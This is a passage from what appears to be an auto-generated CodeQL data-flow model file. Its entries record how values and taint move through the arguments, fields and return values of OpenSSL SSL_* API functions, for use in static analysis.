"SSL_get_all_async_fds", "(SSL *,int *,size_t *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "SSL_get_async_status", "(SSL *,int *)", "", "Argument[*0].Field[**waitctx].Field[*status]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "SSL_get_changed_async_fds", "(SSL *,int *,size_t *,int *,size_t *)", "", "Argument[*0].Field[**waitctx].Field[*numadd]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "SSL_get_changed_async_fds", "(SSL *,int *,size_t *,int *,size_t *)", "", "Argument[*0].Field[**waitctx].Field[*numdel]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "SSL_get_changed_async_fds", "(SSL *,int *,size_t *,int *,size_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_get_changed_async_fds", "(SSL *,int *,size_t *,int *,size_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "SSL_get_ciphers", "(const SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get_ciphers", "(const SSL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_get_client_CA_list", "(const SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get_client_CA_list", "(const SSL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_get_client_ciphers", "(const SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get_client_ciphers", "(const SSL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_get_client_random", "(const SSL *,unsigned char *,size_t)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_current_cipher", "(const SSL *)", "", "Argument[*0].Field[**session].Field[**cipher]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get_current_cipher", "(const SSL *)", "", "Argument[*0].Field[**session].Field[*cipher]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_default_passwd_cb", "(SSL *)", "", "Argument[*0].Field[**tls].Field[*default_passwd_callback]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_default_passwd_cb", "(SSL *)", "", "Argument[*0].Field[*default_passwd_callback]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_default_passwd_cb_userdata", "(SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get_default_passwd_cb_userdata", "(SSL *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "SSL_get_default_passwd_cb_userdata", "(SSL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_get_early_data_status", "(const SSL *)", "", "Argument[*0].Field[*ext].Field[*early_data]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_ex_data", "(const SSL *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_get_handshake_rtt", "(const SSL *,uint64_t *)", "", "Argument[*0].Field[*ts_msg_read].Field[*t]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_get_handshake_rtt", "(const SSL *,uint64_t *)", "", "Argument[*0].Field[*ts_msg_write].Field[*t]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_get_info_callback", "(const SSL *)", "", "Argument[*0].Field[**tls].Field[*info_callback]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_info_callback", "(const SSL *)", "", "Argument[*0].Field[*info_callback]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_key_update_type", "(const SSL *)", "", "Argument[*0].Field[**tls].Field[*key_update]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_key_update_type", "(const SSL *)", "", "Argument[*0].Field[*key_update]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_max_early_data", "(const SSL *)", "", "Argument[*0].Field[**tls].Field[*max_early_data]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_max_early_data", "(const SSL *)", "", "Argument[*0].Field[*max_early_data]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_negotiated_client_cert_type", "(const SSL *)", "", "Argument[*0].Field[*ext].Field[*client_cert_type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_negotiated_server_cert_type", "(const SSL *)", "", "Argument[*0].Field[*ext].Field[*server_cert_type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_num_tickets", "(const SSL *)", "", "Argument[*0].Field[**tls].Field[*num_tickets]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_num_tickets", "(const SSL *)", "", "Argument[*0].Field[*num_tickets]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_options", "(const SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get_peer_cert_chain", "(const SSL *)", "", "Argument[*0].Field[**session].Field[**peer_chain]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get_peer_cert_chain", "(const SSL *)", "", "Argument[*0].Field[**session].Field[*peer_chain]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_psk_identity", "(const SSL *)", "", "Argument[*0].Field[**session].Field[**psk_identity]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get_psk_identity", "(const SSL *)", "", "Argument[*0].Field[**session].Field[*psk_identity]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_psk_identity_hint", "(const SSL *)", "", "Argument[*0].Field[**session].Field[**psk_identity_hint]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get_psk_identity_hint", "(const SSL *)", "", "Argument[*0].Field[**session].Field[*psk_identity_hint]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_quiet_shutdown", "(const SSL *)", "", "Argument[*0].Field[*quiet_shutdown]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_rbio", "(const SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get_rbio", "(const SSL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_get_read_ahead", "(const SSL *)", "", "Argument[*0].Field[*rlayer].Field[*read_ahead]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_record_padding_callback_arg", "(const SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get_record_padding_callback_arg", "(const SSL *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "SSL_get_record_padding_callback_arg", "(const SSL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_get_recv_max_early_data", "(const SSL *)", "", "Argument[*0].Field[**tls].Field[*recv_max_early_data]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_recv_max_early_data", "(const SSL *)", "", "Argument[*0].Field[*recv_max_early_data]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_security_callback", "(const SSL *)", "", "Argument[*0].Field[**cert].Field[*sec_cb]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_security_level", "(const SSL *)", "", "Argument[*0].Field[**cert].Field[*sec_level]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_selected_srtp_profile", "(SSL *)", "", "Argument[*0].Field[**srtp_profile]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get_selected_srtp_profile", "(SSL *)", "", "Argument[*0].Field[*srtp_profile]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_server_random", "(const SSL *,unsigned char *,size_t)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_servername", "(const SSL *,const int)", "", "Argument[*0].Field[*ext].Field[**hostname]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get_servername", "(const SSL *,const int)", "", "Argument[*0].Field[*ext].Field[*hostname]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_session", "(const SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get_session", "(const SSL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_get_shared_ciphers", "(const SSL *,char *,int)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get_shared_ciphers", "(const SSL *,char *,int)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_shared_sigalgs", "(SSL *,int,int *,int *,int *,unsigned char *,unsigned char *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "SSL_get_shared_sigalgs", "(SSL *,int,int *,int *,int *,unsigned char *,unsigned char *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "SSL_get_shared_sigalgs", "(SSL *,int,int *,int *,int *,unsigned char *,unsigned char *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "SSL_get_shared_sigalgs", "(SSL *,int,int *,int *,int *,unsigned char *,unsigned char *)", "", "Argument[*0]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "SSL_get_shared_sigalgs", "(SSL *,int,int *,int *,int *,unsigned char *,unsigned char *)", "", "Argument[*0]", "Argument[*6]", "taint", "df-generated"] + - ["", "", True, "SSL_get_shared_sigalgs", "(SSL *,int,int *,int *,int *,unsigned char *,unsigned char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get_shutdown", "(const SSL *)", "", "Argument[*0].Field[*shutdown]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_sigalgs", "(SSL *,int,int *,int *,int *,unsigned char *,unsigned char *)", "", "Argument[1]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "SSL_get_sigalgs", "(SSL *,int,int *,int *,int *,unsigned char *,unsigned char *)", "", "Argument[1]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "SSL_get_srp_N", "(SSL *)", "", "Argument[*0].Field[*srp_ctx].Field[**N]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get_srp_N", "(SSL *)", "", "Argument[*0].Field[*srp_ctx].Field[*N]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_srp_g", "(SSL *)", "", "Argument[*0].Field[*srp_ctx].Field[**g]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get_srp_g", "(SSL *)", "", "Argument[*0].Field[*srp_ctx].Field[*g]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_srp_userinfo", "(SSL *)", "", "Argument[*0].Field[*srp_ctx].Field[**info]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get_srp_userinfo", "(SSL *)", "", "Argument[*0].Field[*srp_ctx].Field[*info]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_srp_username", "(SSL *)", "", "Argument[*0].Field[*srp_ctx].Field[**login]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get_srp_username", "(SSL *)", "", "Argument[*0].Field[*srp_ctx].Field[*login]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_srtp_profiles", "(SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get_srtp_profiles", "(SSL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_get_ssl_method", "(const SSL *)", "", "Argument[*0].Field[**method]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get_ssl_method", "(const SSL *)", "", "Argument[*0].Field[*method]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_state", "(const SSL *)", "", "Argument[*0].Field[*statem].Field[*hand_state]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_verify_callback", "(const SSL *)", "", "Argument[*0].Field[**tls].Field[*verify_callback]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_verify_callback", "(const SSL *)", "", "Argument[*0].Field[*verify_callback]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_verify_depth", "(const SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get_verify_mode", "(const SSL *)", "", "Argument[*0].Field[**tls].Field[*verify_mode]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_verify_mode", "(const SSL *)", "", "Argument[*0].Field[*verify_mode]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_verify_result", "(const SSL *)", "", "Argument[*0].Field[**tls].Field[*verify_result]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_verify_result", "(const SSL *)", "", "Argument[*0].Field[*verify_result]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_wbio", "(const SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get_wbio", "(const SSL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_in_init", "(const SSL *)", "", "Argument[*0].Field[*statem].Field[*in_init]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_inject_net_dgram", "(SSL *,const unsigned char *,size_t,const BIO_ADDR *,const BIO_ADDR *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "SSL_inject_net_dgram", "(SSL *,const unsigned char *,size_t,const BIO_ADDR *,const BIO_ADDR *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "SSL_is_server", "(const SSL *)", "", "Argument[*0].Field[**tls].Field[*server]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_is_server", "(const SSL *)", "", "Argument[*0].Field[*server]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_key_update", "(SSL *,int)", "", "Argument[1]", "Argument[*0].Field[*key_update]", "value", "dfc-generated"] + - ["", "", True, "SSL_new_domain", "(SSL_CTX *,uint64_t)", "", "Argument[0]", "ReturnValue[*].Field[*ctx]", "value", "dfc-generated"] + - ["", "", True, "SSL_new_listener", "(SSL_CTX *,uint64_t)", "", "Argument[0]", "ReturnValue[*].Field[*ctx]", "value", "dfc-generated"] + - ["", "", True, "SSL_new_listener_from", "(SSL *,uint64_t)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_peek", "(SSL *,void *,int)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_peek_ex", "(SSL *,void *,size_t,size_t *)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_poll", "(SSL_POLL_ITEM *,size_t,size_t,const timeval *,uint64_t,size_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "SSL_read", "(SSL *,void *,int)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_read_early_data", "(SSL *,void *,size_t,size_t *)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_read_ex", "(SSL *,void *,size_t,size_t *)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_renegotiate_pending", "(const SSL *)", "", "Argument[*0].Field[*renegotiate]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_select_next_proto", "(unsigned char **,unsigned char *,const unsigned char *,unsigned int,const unsigned char *,unsigned int)", "", "Argument[*2]", "Argument[**0]", "value", "dfc-generated"] + - ["", "", True, "SSL_select_next_proto", "(unsigned char **,unsigned char *,const unsigned char *,unsigned int,const unsigned char *,unsigned int)", "", "Argument[*2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SSL_select_next_proto", "(unsigned char **,unsigned char *,const unsigned char *,unsigned int,const unsigned char *,unsigned int)", "", "Argument[*2]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "SSL_select_next_proto", "(unsigned char **,unsigned char *,const unsigned char *,unsigned int,const unsigned char *,unsigned int)", "", "Argument[*4]", "Argument[**0]", "value", "dfc-generated"] + - ["", "", True, "SSL_select_next_proto", "(unsigned char **,unsigned char *,const unsigned char *,unsigned int,const unsigned char *,unsigned int)", "", "Argument[*4]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "SSL_select_next_proto", "(unsigned char **,unsigned char *,const unsigned char *,unsigned int,const unsigned char *,unsigned int)", "", "Argument[2]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "SSL_select_next_proto", "(unsigned char **,unsigned char *,const unsigned char *,unsigned int,const unsigned char *,unsigned int)", "", "Argument[2]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "SSL_select_next_proto", "(unsigned char **,unsigned char *,const unsigned char *,unsigned int,const unsigned char *,unsigned int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_select_next_proto", "(unsigned char **,unsigned char *,const unsigned char *,unsigned int,const unsigned char *,unsigned int)", "", "Argument[4]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "SSL_select_next_proto", "(unsigned char **,unsigned char *,const unsigned char *,unsigned int,const unsigned char *,unsigned int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_session_reused", "(const SSL *)", "", "Argument[*0].Field[**tls].Field[*hit]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_session_reused", "(const SSL *)", "", "Argument[*0].Field[*hit]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_set0_CA_list", "(SSL *,stack_st_X509_NAME *)", "", "Argument[*1]", "Argument[*0].Field[**ca_names]", "value", "dfc-generated"] + - ["", "", True, "SSL_set0_CA_list", "(SSL *,stack_st_X509_NAME *)", "", "Argument[1]", "Argument[*0].Field[*ca_names]", "value", "dfc-generated"] + - ["", "", True, "SSL_set0_rbio", "(SSL *,BIO *)", "", "Argument[*1]", "Argument[*0].Field[**rbio]", "value", "dfc-generated"] + - ["", "", True, "SSL_set0_rbio", "(SSL *,BIO *)", "", "Argument[1]", "Argument[*0].Field[*rbio]", "value", "dfc-generated"] + - ["", "", True, "SSL_set0_security_ex_data", "(SSL *,void *)", "", "Argument[**1]", "Argument[*0].Field[**cert].Field[***sec_ex]", "value", "dfc-generated"] + - ["", "", True, "SSL_set0_security_ex_data", "(SSL *,void *)", "", "Argument[*1]", "Argument[*0].Field[**cert].Field[**sec_ex]", "value", "dfc-generated"] + - ["", "", True, "SSL_set0_security_ex_data", "(SSL *,void *)", "", "Argument[1]", "Argument[*0].Field[**cert].Field[*sec_ex]", "value", "dfc-generated"] + - ["", "", True, "SSL_set0_tmp_dh_pkey", "(SSL *,EVP_PKEY *)", "", "Argument[*0].Field[**tls]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "SSL_set0_tmp_dh_pkey", "(SSL *,EVP_PKEY *)", "", "Argument[*1]", "Argument[*0].Field[**cert].Field[**dh_tmp]", "value", "dfc-generated"] + - ["", "", True, "SSL_set0_tmp_dh_pkey", "(SSL *,EVP_PKEY *)", "", "Argument[1]", "Argument[*0].Field[**cert].Field[*dh_tmp]", "value", "dfc-generated"] + - ["", "", True, "SSL_set0_wbio", "(SSL *,BIO *)", "", "Argument[*1]", "Argument[*0].Field[**bbio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "SSL_set0_wbio", "(SSL *,BIO *)", "", "Argument[*1]", "Argument[*0].Field[**wbio]", "value", "dfc-generated"] + - ["", "", True, "SSL_set0_wbio", "(SSL *,BIO *)", "", "Argument[1]", "Argument[*0].Field[**bbio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "SSL_set0_wbio", "(SSL *,BIO *)", "", "Argument[1]", "Argument[*0].Field[*wbio]", "value", "dfc-generated"] + - ["", "", True, "SSL_set1_client_cert_type", "(SSL *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**client_cert_type]", "value", "dfc-generated"] + - ["", "", True, "SSL_set1_client_cert_type", "(SSL *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**client_cert_type]", "taint", "dfc-generated"] + - ["", "", True, "SSL_set1_client_cert_type", "(SSL *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*client_cert_type_len]", "value", "dfc-generated"] + - ["", "", True, "SSL_set1_host", "(SSL *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**param].Field[**ip]", "taint", "dfc-generated"] + - ["", "", True, "SSL_set1_host", "(SSL *,const char *)", "", "Argument[1]", "Argument[*0].Field[**param].Field[**ip]", "taint", "dfc-generated"] + - ["", "", True, "SSL_set1_param", "(SSL *,X509_VERIFY_PARAM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SSL_set1_server_cert_type", "(SSL *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**server_cert_type]", "value", "dfc-generated"] + - ["", "", True, "SSL_set1_server_cert_type", "(SSL *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**server_cert_type]", "taint", "dfc-generated"] + - ["", "", True, "SSL_set1_server_cert_type", "(SSL *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*server_cert_type_len]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_SSL_CTX", "(SSL *,SSL_CTX *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "SSL_set_SSL_CTX", "(SSL *,SSL_CTX *)", "", "Argument[1]", "Argument[*0].Field[*ctx]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_SSL_CTX", "(SSL *,SSL_CTX *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_set_allow_early_data_cb", "(SSL *,SSL_allow_early_data_cb_fn,void *)", "", "Argument[**2]", "Argument[*0].Field[***allow_early_data_cb_data]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_allow_early_data_cb", "(SSL *,SSL_allow_early_data_cb_fn,void *)", "", "Argument[*2]", "Argument[*0].Field[**allow_early_data_cb_data]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_allow_early_data_cb", "(SSL *,SSL_allow_early_data_cb_fn,void *)", "", "Argument[1]", "Argument[*0].Field[*allow_early_data_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_allow_early_data_cb", "(SSL *,SSL_allow_early_data_cb_fn,void *)", "", "Argument[2]", "Argument[*0].Field[*allow_early_data_cb_data]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_alpn_protos", "(SSL *,const unsigned char *,unsigned int)", "", "Argument[*1]", "Argument[*0].Field[*ext].Field[**alpn]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_alpn_protos", "(SSL *,const unsigned char *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[*ext].Field[**alpn]", "taint", "dfc-generated"] + - ["", "", True, "SSL_set_alpn_protos", "(SSL *,const unsigned char *,unsigned int)", "", "Argument[2]", "Argument[*0].Field[*ext].Field[*alpn_len]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_async_callback", "(SSL *,SSL_async_callback_fn)", "", "Argument[1]", "Argument[*0].Field[*async_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_async_callback_arg", "(SSL *,void *)", "", "Argument[**1]", "Argument[*0].Field[***async_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_async_callback_arg", "(SSL *,void *)", "", "Argument[*1]", "Argument[*0].Field[**async_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_async_callback_arg", "(SSL *,void *)", "", "Argument[1]", "Argument[*0].Field[*async_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_bio", "(SSL *,BIO *,BIO *)", "", "Argument[*2]", "Argument[*0].Field[**bbio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_bio", "(SSL *,BIO *,BIO *)", "", "Argument[*2]", "Argument[*0].Field[**wbio]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_bio", "(SSL *,BIO *,BIO *)", "", "Argument[1]", "Argument[*0].Field[*rbio]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_bio", "(SSL *,BIO *,BIO *)", "", "Argument[2]", "Argument[*0].Field[**bbio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_bio", "(SSL *,BIO *,BIO *)", "", "Argument[2]", "Argument[*0].Field[*wbio]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_block_padding", "(SSL *,size_t)", "", "Argument[1]", "Argument[*0].Field[*rlayer].Field[*block_padding]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_block_padding", "(SSL *,size_t)", "", "Argument[1]", "Argument[*0].Field[*rlayer].Field[*hs_padding]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_block_padding_ex", "(SSL *,size_t,size_t)", "", "Argument[1]", "Argument[*0].Field[*rlayer].Field[*block_padding]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_block_padding_ex", "(SSL *,size_t,size_t)", "", "Argument[2]", "Argument[*0].Field[*rlayer].Field[*hs_padding]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_cert_cb", "(SSL *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[**cert].Field[***cert_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_cert_cb", "(SSL *,..(*)(..),void *)", "", "Argument[*0].Field[**tls].Field[**cert]", "Argument[*0].Field[**cert]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_cert_cb", "(SSL *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**cert].Field[**cert_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_cert_cb", "(SSL *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[**cert].Field[*cert_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_cert_cb", "(SSL *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[**cert].Field[*cert_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_cipher_list", "(SSL *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**cert].Field[*sec_level]", "taint", "dfc-generated"] + - ["", "", True, "SSL_set_cipher_list", "(SSL *,const char *)", "", "Argument[1]", "Argument[*0].Field[**cert].Field[*sec_level]", "taint", "dfc-generated"] + - ["", "", True, "SSL_set_client_CA_list", "(SSL *,stack_st_X509_NAME *)", "", "Argument[*1]", "Argument[*0].Field[**client_ca_names]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_client_CA_list", "(SSL *,stack_st_X509_NAME *)", "", "Argument[1]", "Argument[*0].Field[*client_ca_names]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_ct_validation_callback", "(SSL *,ssl_ct_validation_cb,void *)", "", "Argument[**2]", "Argument[*0].Field[***ct_validation_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_ct_validation_callback", "(SSL *,ssl_ct_validation_cb,void *)", "", "Argument[*2]", "Argument[*0].Field[**ct_validation_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_ct_validation_callback", "(SSL *,ssl_ct_validation_cb,void *)", "", "Argument[1]", "Argument[*0].Field[*ct_validation_callback]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_ct_validation_callback", "(SSL *,ssl_ct_validation_cb,void *)", "", "Argument[2]", "Argument[*0].Field[*ct_validation_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_default_passwd_cb", "(SSL *,pem_password_cb *)", "", "Argument[1]", "Argument[*0].Field[*default_passwd_callback]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_default_passwd_cb_userdata", "(SSL *,void *)", "", "Argument[**1]", "Argument[*0].Field[***default_passwd_callback_userdata]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_default_passwd_cb_userdata", "(SSL *,void *)", "", "Argument[*1]", "Argument[*0].Field[**default_passwd_callback_userdata]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_default_passwd_cb_userdata", "(SSL *,void *)", "", "Argument[1]", "Argument[*0].Field[*default_passwd_callback_userdata]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_default_read_buffer_len", "(SSL *,size_t)", "", "Argument[1]", "Argument[*0].Field[*rlayer].Field[*default_read_buf_len]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_generate_session_id", "(SSL *,GEN_SESSION_CB)", "", "Argument[1]", "Argument[*0].Field[*generate_session_id]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_hostflags", "(SSL *,unsigned int)", "", "Argument[*0].Field[**tls].Field[**param]", "Argument[*0].Field[**param]", "value", "dfc-generated"] + - ["", "", 